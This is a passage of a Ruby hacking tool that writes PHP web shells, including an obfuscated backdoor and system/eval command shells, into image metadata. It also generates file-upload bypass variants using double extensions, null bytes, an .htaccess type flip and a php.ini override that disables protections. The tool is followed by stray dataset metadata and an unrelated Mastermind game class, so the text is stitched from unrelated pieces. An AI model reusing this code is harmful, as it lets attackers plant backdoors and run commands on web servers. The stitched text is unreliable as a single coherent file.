File.open(shell).read # Generate our Shell Possibilities for Uploading php.each do |x| a = shell_name.sub(shell.split('/')[-1].split('.')[-1], x) f = File.open(UP + a, 'w+') f.puts data f.close end options.each do |y| # Simple Concatenation of Filetypes: .php.jpeg b = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.' + y) f = File.open(UP + b, 'w+') f.puts data f.close if y =~ /GIF|JPEG|PNG/i # Simple Concatenation of Filetypes (reversed order for evil images): .jpeg.php c = shell_name.sub(shell.split('/')[-1].split('.')[-1], y + '.' + shell.split('/')[-1].split('.')[-1]) f = File.open(UP + c, 'w+') f.puts data f.close end # Another Concatenation of Filetypes in hopes it drops the trailing type: .php;jpeg d = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + ';.' + y) f = File.open(UP + d, 'w+') f.puts data f.close # Null Byte to drop the trailing filetype e = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '%00.' + y) f = File.open(UP + e, 'w+') f.puts data f.close end # Bogus separator, unknown extension causes it to fallback to PHP g = shell_name.sub(shell.split('/')[-1].split('.')[-1], shell.split('/')[-1].split('.')[-1] + '.xxxfoo') f = File.open(UP + g, 'w+') f.puts data f.close # Create .htaccess file for flipping filetype to php f = File.open(UP + '.htaccess', 'w+') f.puts "AddType application/x-httpd-php .#{flip}" f.close # PHP_INI Overrides f = File.open(UP + 'php.ini', 'w+') f.puts 'disable_functions = none' f.puts 'magic_quotes_gpc = off' f.puts 'safe_mode = off' f.puts 'suhosin.executor.func.blacklist = foofucked' f.close end # PHP Shells for Evil Image Builder # see more on sneaky shell here: http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html sneaky_shell = '<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>' r0ng_shell = "<?if($_GET['r0ng']){echo'<pre>'.shell_exec($_GET['r0ng']);}?>" system_shell = "<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>" eval_shell = "<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>" $shell='Sneaky Shell' $c=1 ### MAIN ### ## ##################################### # options = {} optparse = OptionParser.new do |opts| opts.banner = "Usage".light_blue + ": #{$0} ".white + "[".light_blue + "OPTIONS".white + "]".light_blue opts.separator "" opts.separator "EX".light_blue + ": #{$0} -i ./images/ohno.jpeg -d".white opts.separator "EX".light_blue + ": #{$0} -i ./images/ohno.gif -g 1 -t Comment".white opts.separator "EX".light_blue + ": #{$0} -i ./images/ohno.gif -w 'HR was here' -t 'Comment'".white opts.separator "" opts.separator "Options".light_blue + ": ".white opts.on('-i', '--image IMG', "\n\tImage File to Use".white) do |img| if File.exists?(img.chomp) and not File.directory?(img.chomp) options[:img] = img.chomp else cls banner puts puts "Problem loading Image file".light_red + "!".white puts "Check path and permissions and try again".light_red + ".....".white puts puts opts puts exit 666; end end opts.on('-d', '--dump', "\n\tDump All Tags w/Values".white) do |meh| options[:method] = 1 end opts.on('-w', '--write STRING', "\n\tWrite Custom String to Tag".white) do |write_str| options[:method] = 2 options[:str] = write_str.chomp end opts.on('-g', '--generate NUM', "\n\tWrite PHP Shell to Tag\n\t 0 => Sneaky Shell\n\t 1 => r0ng Shell\n\t 2 => Simple System() Shell\n\t 3 => Simple Eval Shell".white) do |num| options[:method] = 3 if num.chomp.to_i >= 0 and num.chomp.to_i <= 3 options[:shell] = num.chomp.to_i else cls banner puts puts "Unknown Shell Generator Option Requested".light_red + "!".white puts puts opts puts exit 69; end end opts.on('-t', '--tag TAG', "\n\tTag Name to Write to".white) do |tag| options[:tag] = tag.chomp end opts.on('-n', '--nuke TAG', "\n\tTry to Delete Tag".white) do |tag| options[:method] = 4 options[:tag] = tag.chomp end opts.on('-u', '--uploads-gen SHELL', "\n\tGenerate Upload Bypass Possibilities for Shell".white) do |shell| if File.exists?(shell.chomp) and not File.directory?(shell.chomp) options[:method] = 5 options[:shell] = shell.chomp else cls banner puts puts "Problem loading Shell file".light_red + "!".white puts "Check path and permissions and try again".light_red + ".....".white puts puts opts puts exit 69; end options[:shell] = shell.chomp end opts.on('-h', '--help', "\n\tHelp Menu".white) do cls banner puts puts opts puts exit 69; end end begin foo = ARGV[0] || ARGV[0] = "-h" optparse.parse! if options[:method].to_i == 1 mandatory = [:method, :img] # CLI DUMP elsif options[:method].to_i == 3 mandatory = [:method, :img, :tag, :shell] # CLI Evil Image Generator elsif options[:method].to_i == 5 mandatory = [:method, :shell] # CLI DUMP elsif not options[:generate].nil? mandatory = [:method, :img] # CLI DUMP else mandatory = [:method, :img, :tag] # CLI WRITE OR NUKE end missing = mandatory.select{ |param| options[param].nil? } if not missing.empty? cls banner puts puts "Missing options".light_red + ": #{missing.join(', ')}".white puts optparse exit 666; end rescue OptionParser::InvalidOption, OptionParser::MissingArgument cls banner puts puts $!.to_s puts puts optparse puts exit 666; end cls banner case options[:method].to_i when 1 # Tag Dump photo = MiniExiftool.new(options[:img]) v = photo.exiftool_version.to_s.split('.') height = photo.image_height width = photo.image_width puts puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red puts puts "Meta Info from".light_blue + ": #{options[:img].split('/')[-1]}".white puts "Image Dimensions".white.underline + ": ".white puts "Image Height".light_blue + ": #{height}".white puts "Image Width".light_blue + ": #{width}".white puts puts "Available Tags".white.underline + ": ".white photo.tags.sort.each do |tag| puts "#{tag}".light_blue + ": #{photo[tag]}".white end when 2 # Write to Tag photo = MiniExiftool.new(options[:img]) v = photo.exiftool_version.to_s.split('.') height = photo.image_height width = photo.image_width puts puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red puts if not photo.tags.include?(options[:tag]) puts "Provided Tag doesn't appear to exist".light_red + "!".white if photo.tags.include?('Comment') puts "Trying generic approach to try and write to 'Comment' Tag".light_yellow + ".....".white options[:tag] = 'Comment' else puts "Trying generic approach to create and write to Comment Tag".light_yellow + ".....".white options[:tag] = 'Comment' end end original = photo[options[:tag]] puts "Attempting write to the ".light_blue + "'".white + "#{options[:tag]}".light_blue + "'".white + " tag".light_blue + "....".white puts "Current Value".light_blue + ": #{original}".white puts "Write String".light_blue + ": #{options[:str]}".white if write(photo, options[:str], options[:tag]) photo.reload # reload the new file info if original != photo[options[:tag]] puts puts "Appears things were successful".light_green + "!".white puts "Updated Value".light_green + ": #{photo[options[:tag]]}".white else puts "WTF".light_red + "?".white + " Doesn't appear we changed the value".light_red + ".....".white puts "Value".light_yellow + ": #{photo[options[:tag]]}".white puts "Make sure Tag name was spelled properly, is writable and try again".light_red + "...".white end else puts "Problem writing to '#{options[:tag]}' Tag".light_red + "!".white puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white end when 3 # Evil Image Shell Generator case options[:shell].to_i when 0 # Sneaky Shell shell = 'Sneaky' payload = sneaky_shell c = "http://localhost/#{options[:img].split('/')[-1]}?0=system&1=id" when 1 # r0ng Shell shell = 'r0ng' payload = r0ng_shell c = "http://localhost/#{options[:img].split('/')[-1]}?r0ng=id" when 2 # System Shell shell = 'System' payload = system_shell c = "http://localhost/forum/profile.php?inc=/profiles/0123456789/#{options[:img].split('/')[-1]}?cmd=id" when 3 # Eval Shell shell = 'Eval' payload = eval_shell c = "http://localhost/#{options[:img].split('/')[-1]}?cmd=system('id');" end # Make sure our evil images directory exists, if not create # We also create a temporary directory to move images in and out of for use without affecting original # Delete temp dir and cleanup when done tmp = HOME + '/temp' Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL) Dir.mkdir(tmp) unless File.exists?(tmp) and File.directory?(tmp) real = MiniExiftool.new(options[:img]) innocent = tmp + '/' + options[:img].split('/')[-1] FileUtils.copy_file(options[:img], innocent, preserve = true) Dir.chdir(tmp) do photo = MiniExiftool.new(options[:img].split('/')[-1]) v = photo.exiftool_version.to_s.split('.') height = photo.image_height width = photo.image_width puts puts "ExifTool v#{v[0]}".light_red + ".".white + "#{v[1]}".light_red puts if not real.tags.include?(options[:tag]) puts "Provided Tag doesn't appear to exist".light_red + "!".white if real.tags.include?('Comment') puts "Trying generic approach to try and write to 'Comment' Tag".light_yellow + ".....".white options[:tag] = 'Comment' else puts "Trying generic approach to create and write to Comment Tag".light_yellow + ".....".white options[:tag] = 'Comment' end end original = photo[options[:tag]] puts "Attempting to write ".light_blue + "'".white + "#{shell} Shell".light_blue + "'".white + " to the ".light_blue + "'".white + "#{options[:tag]}".light_blue + "'".white + " tag".light_blue + "....".white puts "Current Value".light_blue + ": #{original}".white puts "Write String".light_blue + ": \n#{payload}".white puts if write(photo, payload, options[:tag]) photo.reload # reload the new file info if original != photo[options[:tag]] FileUtils.copy_file(options[:img].split('/')[-1], "#{EVIL}/#{options[:img].split('/')[-1]}", preserve = true) puts puts "Appears things were successful".light_green + "!".white puts "Updated Value".light_green + ": #{photo[options[:tag]]}".white puts "Find your evil image here".light_green + ": #{EVIL}#{options[:img].split('/')[-1]}".white puts "Example #{shell} Shell Execution".light_green + ": #{c}".white else puts "WTF".light_red + "?".white + " Doesn't appear we changed the value".light_red + ".....".white puts "Value".light_yellow + ": #{photo[options[:tag]]}".white puts "Make sure Tag name was spelled properly, is writable and try again".light_red + "...".white end else puts "Problem writing to '#{options[:tag]}' Tag".light_red + "!".white puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white end end FileUtils.rm_rf(tmp) when 4 # Delete MetaTag if possible photo = MiniExiftool.new(options[:img]) if not photo.tags.include?(options[:tag]) puts "Can't delete what doesn't exist".light_red + "!".white puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white else if delete(photo, options[:tag]) puts puts "Appears MetaTag removal was successful".light_green + "!".white puts "Run the dump option to confirm the changes".light_green + "....".white else puts "Problem wiping Tag".light_red + "!".white puts "Make sure Tag name exists, is spelled properly, is writable and then try again".light_red + "...".white end end when 5 # Uploads Generator puts puts "Generating file upload bypass possibilities for #{options[:shell].split('/')[-1]}".light_blue + ".....".white generate_uploads(options[:shell], flip='gif') puts "Uploader bypass files created".light_green + "!".white puts "Find them all here".light_green + ": #{UP}".white puts "May the force be with you".light_green + "...........".white end puts puts # EOF
true
d613e23a87f37caebdb6a4aee46f896869cc81e9
Ruby
justin-tse/app-academy
/02-software-engineering-foundations/08-object-oriented-programming/justin-fa-mastermind_project/lib/mastermind.rb
UTF-8
462
3.484375
3
[]
no_license
require_relative "code" class Mastermind def initialize(length) @secret_code = Code.random(length) end def print_matches(other_code) puts "exact matches: #{@secret_code.num_exact_matches(other_code)}" puts "near matches: #{@secret_code.num_near_matches(other_code)}" end def ask_user_for_guess p "Enter a code" user_guess = Code.from_string(gets.chomp) self.print_matches(user_guess) user_guess == @secret_code end end
true